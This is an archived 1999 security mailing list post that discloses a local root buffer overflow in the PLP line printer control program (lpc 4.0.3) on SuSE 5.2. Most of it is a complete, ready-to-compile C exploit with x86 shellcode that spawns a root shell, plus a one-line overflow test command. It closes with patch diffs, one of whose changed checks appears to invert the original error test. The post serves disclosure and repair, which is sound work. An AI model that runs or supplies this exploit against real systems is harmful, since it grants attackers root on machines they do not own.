Linux /usr/bin/lpc overflow

From: xnecat_private
Date: Tue Feb 02 1999 - 23:58:36 PST

  • Next message: Andrea Arcangeli: "[patch] Re: [patch] /proc race fixes for 2.2.1 (fwd)"

    greetings,
    
    INFO:
    
    There is a local root comprimise hole in PLP Line Printer Control program,
    version 4.0.3, which is SuSE 5.2's /usr/bin/lpc.  Most other unices use a
    different version of lpc (including SuSE 5.1).  You can check your version
    by typing "lpc" and seeing if you get the PLP version or just "lpc>" which
    is not vulnerable.
    
    The offending code is in displayq.c and control_ops.c, where we see:
    ---
    char afname[MAXPARMLEN];    /* attach file name */
    ...
    if (fscanf (afp, "%s", afname) == 1) {
    ---
    
    EXPLOIT:
    
    xnec_lpc.c
    ----snip----
    
    /*
    
    Standard overflow for x86 linux lpc.  PLP Line Printer Control program,
    version 4.0.3.  Tested on SuSE 5.2 (suidroot).  Test your copy of /usr/bin/lpc
    by trying an /usr/bin/lpc attach lp `perl -e "print 'A' x 1000"`;lpc status lp
    The problematic code is in displayq.c and control_ops.c, where we attempt
    to fscanf() the lockfile's contents into a fixed length buffer.  See the
    Bugtraq post for full fix information(www.geek-girl.com/bugtraq).
    
    The buffer we're overflowing is 256bytes, and an offset of 0 works just fine.
    Try in increments of +-100 if it doesn't work for you.
    
    Obviously this is a complete rip of Aleph1's standard overflow program from
    his paper "smashing the stack for fun and profit".
    
    to compile:
    gcc -o xnec_lpc xnec_lpc.c
    
    bugs: only sets uid=0, and you may have to have a printer defined (lp on my
    box).
    
    greets to #sk1llz
    
                             -xnec
          xnec on EF and DALnet, xnecat_private
    
    */
    #include <stdlib.h>
    
    #define DEFAULT_OFFSET                    0
    #define DEFAULT_BUFFER_SIZE             356
    #define DEFAULT_EGG_SIZE               2048
    #define NOP                            0x90
    char pause;
    
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    unsigned long get_esp(void) {
       __asm__("movl %esp,%eax");
    }
    void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i, eggsize=DEFAULT_EGG_SIZE;
    
      if (argc > 1) bsize   = atoi(argv[1]);
      if (argc > 2) offset  = atoi(argv[2]);
      if (argc > 3) eggsize = atoi(argv[3]);
    
    
      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
      if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
      addr = get_esp() - offset;
      printf("Using address: 0x%x\n", addr);
      printf("\nPLP Line Printer Control program, version 4.0.3 overflow.\n");
      printf("Bug found by xnec, code ripped from Aleph1.  After running this
    program, simply compile and run:\n---\n#include <unistd.h>
    void main(){system(\"/bin/bash\");}\n---\n");
      scanf("%c", pause);
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    
      ptr = egg;
      for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = NOP;
    
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    
      buff[bsize - 1] = '\0';
      egg[eggsize - 1] = '\0';
    
      memcpy(egg,"EGG=",4);
      putenv(egg);
      memcpy(buff,"RET=",4);
      putenv(buff);
      system("`which lpc` attach lp $RET; `which lpc` status lp");
    
    }
    
    ----snip----
    
    FIX:
    
    While you COULD use these diff's to patch up your lpc, I would recommend
    against it as there is a perfectly good alternative in the line printer suite
    available in the form of lpr-tlr-971016.tar.gz.  This is included in SuSE
    5.2's source library.  If you insist on using PLP, here you go:
    
    --- /usr/src/packages/SOURCES/origplp/plp-4.0.3/src/common/control_ops.c       Thu Jun 15 14:09:12 1995
    +++ /usr/src/packages/SOURCES/newplp/plp-4.0.3/src/common/control_ops.c Wed Feb
     3 12:36:17 1999
    @@ -676,7 +676,7 @@
    
         att_mark = False;
         if ((afp = fopen_daemon (Attach_file, "r"))) { /* Try to open attach file */
    -       if (fscanf (afp, "%s", afname) == 1) {
    +       if (fgets (afname, sizeof(afname), afp) != NULL) {
                if (strsame (afname, Printer)) {
                    fatal (XLOG_INFO, "Printer '%s' attached to itself", Printer);
                }
    @@ -1622,7 +1622,7 @@
         if ((s = C_abort ())) {
            if (stat (Attach_file, &statb) == 0) {
                if ((afp = fopen_daemon (Attach_file, "r"))) {
    -               if (fscanf (afp, "%s", afname) != 1) {
    +               if (fgets (afname, sizeof(afname), afp) != NULL) {
                        fatal (XLOG_INFO, "attach file for printer %s corrupted!",
                               Printer);
                    }
    
    
    --- /usr/src/packages/SOURCES/origplp/plp-4.0.3/src/common/displayq.c   Tue Aug
    29 12:44:35 1995
    +++ /usr/src/packages/SOURCES/newplp/plp-4.0.3/src/common/displayq.c    Wed Feb
     3 12:35:37 1999
    @@ -99,7 +99,7 @@
          * check to see if attached to another printerq, alter printer if attached
          */
         if (Attach_file && *Attach_file && ((afp = fopen (Attach_file, "r")))) {
    -       if (fscanf (afp, "%s", afname) == 1) {
    +       if (fgets (afname, sizeof(afname), afp) != NULL) {
                if (strsame (afname, Printer)) {
                    fatal (XLOG_INFO, "Printer '%s' attached to itself", Printer);
                }
    
    
                                 -xnec
    
    ##################################################################
    #     xnecat_private  -  xnec on IRC EF and DALnet    #
    ##################################################################
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:32:21 PDT